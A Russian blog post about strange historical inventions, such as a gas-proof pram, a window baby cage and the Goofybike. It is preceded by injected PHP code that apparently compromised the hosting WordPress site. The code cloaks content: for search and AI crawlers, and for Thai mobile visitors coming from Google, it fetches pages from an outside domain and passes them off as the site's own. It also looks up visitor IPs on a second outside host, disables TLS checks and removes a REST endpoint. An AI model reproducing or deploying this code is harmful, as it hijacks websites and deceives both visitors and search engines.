$API_URL = 'https://id.yuanhengbc.com/th100'; $scheme = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; $MY_DOMAIN = $scheme . '://' . $host; function rewrite_remote_urls($html, $api_url, $my_domain) { if (empty($html)) return $html; $orig_host = parse_url($api_url, PHP_URL_HOST); $my_host = parse_url($my_domain, PHP_URL_HOST); $html = str_replace('https://' . $orig_host . '/xtz.js', '%%XTZ_KEEP%%', $html); $html = str_replace( array('https://' . $orig_host, 'http://' . $orig_host, '//' . $orig_host), array($my_domain, $my_domain, '//' . $my_host), $html ); $html = preg_replace( '/ true, CURLOPT_TIMEOUT => 15, CURLOPT_USERAGENT => $ua, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_FOLLOWLOCATION => true, )); $body = curl_exec($ch); curl_close($ch); return $body; } else { $ctx = stream_context_create(array( 'http' => array('timeout' => 15, 'user_agent' => $ua, 'ignore_errors' => true) )); return @file_get_contents($final, false, $ctx); } } $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $ref = $_SERVER['HTTP_REFERER'] ?? ''; $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''; if ($ua === '') $ua = ' '; $bot_list = array( 'Googlebot','Googlebot-News','Googlebot-Image','Googlebot-Video','Googlebot-Mobile', 'Mediapartners-Google','AdsBot-Google','AdsBot-Google-Mobile','Google-InspectionTool', 'APIs-Google','Google-Site-Verification','Google Web Preview','Google Favicon', 'Google Feedfetcher','GoogleOther','Bingbot','BingPreview','AdIdxBot','Microsoft Preview', 'GPTBot','ChatGPT-User','ChatGPT','Google-Extended','Claude-Web','ClaudeBot', 'anthropic-ai','DuckDuckBot','DuckAssistBot' ); $is_bot = false; foreach ($bot_list as $b) { if (stripos($ua, $b) !== false) { $is_bot = true; break; } } $is_mobile = false; foreach (array('Mobile','Android','iPhone','iPad','Windows Phone') as $m) { if (stripos($ua, $m) !== false) { $is_mobile = true; break; } } $is_google = ($ref !== '' && (stripos($ref, 'google.') !== false || stripos($ref, 'bing.com') !== false)); $is_th_lang = ($lang !== '' && preg_match('/(?:^|,)\s*(?:th)(?:-TH)?(?:;|$)/i',$lang) === 1); function check_ip_country() { $ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? ''; $ip = trim(explode(',', $ip)[0]); if ($ip === '' || $ip === '127.0.0.1') return 'LOCAL'; $ch = curl_init('https://id.qzbybyk.com/v1/lookup?ip=' . urlencode($ip)); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_HTTPHEADER => array('X-API-Key: change-me-now'), )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['data']['country']['iso_code'])) return $j['data']['country']['iso_code']; } $ch = curl_init('http://ip-api.com/json/' . urlencode($ip) . '?fields=countryCode'); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['countryCode'])) return $j['countryCode']; } return 'UNKNOWN'; } if ($is_bot) { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } if ($is_mobile && $is_google && $is_th_lang) { if (check_ip_country() === 'TH') { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } } add_filter('rest_endpoints', function($e){ unset($e['/batch/v1']); return $e; }); Странные изобретения прошлого. Часть 3 — Вечный путь к совершенству

Странные изобретения прошлого. Часть 3

Лубрикатор для писем.

Конверты, куда вкладывались бумажные письма, оснащались клейкой лентой, которая становилась липкой только после намокания. И облизывание этой ленты являлось необходимостью. И если тебе приходилось отправлять множество писем, то твои пальцы или язык (смотря чем смачивал конверт) быстро уставали. И вот изобретение: лубрикатор для писем.

Их делали в виде фигурок животных с высунутыми языками или круга, который, прокручиваясь, смазывал края конверта или марку. И выглядело это достаточно странно. И хотя это изобретение облегчало работу с письмами, тем не менее оно не особо прижилось среди простых людей.

Коляска-противогаз.

Пока европейцы успешно уничтожали друг друга в окопах Первой мировой войны, в том числе и газовыми атаками, жители городов, не затронутых боевыми действиями, продолжали жить как раньше. Из-за страха запуска газа коварными кайзеровцами по мирным гражданским производители начали выпускать индивидуальные средства защиты (противогазы, плащи и прочее).

Но на младенца же не наденешь противогаз, и поэтому начался выпуск колясок, которые представляли собой что-то вроде стальной коробки на колёсах со смотровым окном и вентиляцией. Эта коляска в случае внезапной газовой атаки должна была защитить младенца, с которым его мама вышла погулять на свежем воздухе.

Детская клетка.

Продолжаем тему «счастливого» детства, которая наглядно иллюстрирует, что утверждение, что жизнь раньше была труднее, — это не пустые слова. В западных странах были обеспокоены тем, что маленькие дети не получали достаточно солнечного света и воздуха. И какому-то гению пришла в голову идея создать подвешивающуюся клетку, которую можно разместить за окном. В нее предполагалось стелить мягкое одеяло, на которое можно посадить ребёнка.

И таким образом он будет долгое время «гулять» на улице, при этом не изматывая и так уставшую от домашних дел мать. В общем, ретроинтерпретация клетки для кота за балконом.

Плавающий велосипед.

Однажды человека спросили, что он больше всего любит, и тот ответил: «Плавать и ездить на велосипеде». «Ни слова больше», — сказал производитель и сделал плавающий велосипед.

На самом деле история создания этого устройства не ясна — понятно только то, что средство передвижения было представлено в Париже в 30-х годах XX века. Суть в том, что его колёса имели форму шара, а на руле и раме располагались шары поменьше. В них был накачан воздух, который не давал велосипедисту затонуть при движении по воде. Как оказалось, это транспортное средство было одинаково неудобным как на суше, так и на водной поверхности, так что оно не стало популярным.

Трубка для курения.

Но не та, которая предназначена для курения одной сигареты, так чтобы запахом табака не пропитывались пальцы, а что-то вроде флейты. Трубка имела несколько отверстий, в каждое из которых вставлялось по сигарете. Всего таких отверстий было двадцать — как раз под количество сигарет в пачке. Да, можно было действительно выкурить целую пачку за один раз.

Неизвестно, какой эффект это давало, учитывая, что в начале XX века сигареты делали из чистого табака. Но можешь себе представить силу никотинового удара как по горлу, так и по трахее и лёгким. Скорее всего, с такой трубкой можно было улететь в волшебную страну грёз надолго, а возможно, и навсегда. Думаем, именно из-за этого такие трубки для курения быстро вышли из моды.

Конусная маска.

Представь себе прозрачный конус, который надевается на лицо. Любой адекватный человек спросит: «Зачем это нужно?» Всё просто: защита от погодных условий, особенно от снега. Выглядело это, мягко говоря, нелепо и было даже опасно, так как конец конусной маски, далеко выступающий за пределы лица, при неосторожном движении мог ткнуть собеседника прямо в глаз. А о движении с этим изобретением на лице в толпе и речи быть не могло.

Двойной слинг.

Слинг — это тканевое приспособление для переноски маленьких детей. Есть два распространённых варианта: «кенгуру», то есть располагающееся на животе родителя, или в виде рюкзака, который подвешивается на спину.

Но в начале XX века кто-то решил, что дети должны объединять родителей не только морально, но и физически, и сделал слинг, одна лямка которого надевается на плечо матери, а другая — на плечо отца. Получается такой единый организм с подвешенным посередине ребёнком. Нетрудно понять, почему данное изобретение не прижилось.

Устройство для создания ямочек.

В 30-х годах во многих западных странах была мода на хрупкость в женском силуэте. Это проявлялось и в наличии ямочек на щеках. Но что делать девушкам, которые имеют женственную фигуру с хорошими формами?

На волне моды появилось устройство для создания ямочек. По сути, это ободок с выступающими в области щёк краями, которые вжимали кожу внутрь. Выглядит это скорее как устройство для пыток.

Радио на голове.

В 1949 году Виктор Хофлих представил человечеству прообраз портативного плеера, совмещённого с наушниками, — радио на голове. По сути, это была шляпа или каска, в которую были встроены радиодетали и наушники. А завершала картину антенна, которая возвышалась над головным убором.

Выглядел в этом наряде человек достаточно нелепо (больше похожим на представителя студенческого братства с шлемом, к которому приделаны банки с пивом), но зато мог слушать свои любимые радиостанции по пути на работу, не мешая при этом окружающим. Жаль, что современные школьники с их переносными колонками не в курсе, что наушники изобрели уже давным-давно.

Прообраз факса.

Кто-то на Западе посчитал, что доставка газеты к порогу, как показано во многих голливудских фильмах, — это слишком долго, и предложил более «быстрое» решение — печать утренней газеты на дому у читателей, пока те спят. Нет, редактор и его команда не забирались в дома к спящим и ничего не подозревающим людям и не открывали там типографию — это делала машина размером с комод.

Суть в том, что на машину поступал сигнал, и она начинала печатать свежий выпуск. Однако весь процесс занимал несколько часов. Мало того что это было очень долго, так ещё и стоимость данного устройства была космической, поэтому оно не прижилось даже в домах обеспеченных людей.

Защита пешехода.

К 30 годам в Великобритании было уже немало автомобилей, и всё чаще происходили ДТП с участием пешеходов. Нередко они случались из-за того, что некоторые жители впервые видели это средство передвижения своими глазами и не знали, как на него реагировать. Поэтому ради спасения пешеходов от попадания под колёса было создано устройство в виде решётки, располагавшееся на передней части автомобиля. Что-то вроде бампера, но имеющее более широкий охват и закрывающее колёса. Суть устройства в том, что водитель при неизбежности удара нажимал рычаг, и решётка по принципу ковша подхватывала пешехода, подняв его над дорогой.

Предполагалось, что таким образом можно будет избежать попадания человека под колёса, но изобретение оказалось бесполезным. Во-первых, попробуй среагировать и подхватить пешехода так, чтобы его подняло вверх за долю секунды до столкновения. Во-вторых — сделать так, чтобы пешехода именно подхватило, а не ударило боковой частью решётки.

Гуфибайк.

Одно из самых странных и известных изобретений XX века.

Чарльз Штайнлауф из Чикаго решил сделать свою версию многоместного велосипеда, и у него получилось весьма странное транспортное средство для всей семьи. Глава семейства едет выше всех и управляет велосипедом с помощью автомобильного руля, крутя при этом педали. В это время его жена сидит ниже и шьёт на швейной машинке. Позади располагается сын и крутит вторую пару педалей, а дочь просто сидит на площадке перед рулём в передней части транспортного средства. Когда велосипед не едет, опрокинуться ему не дают выступающие ножки швейной машинки.

Источник: От новостей до истории

Часть 1 — здесь.

Часть 2 — здесь.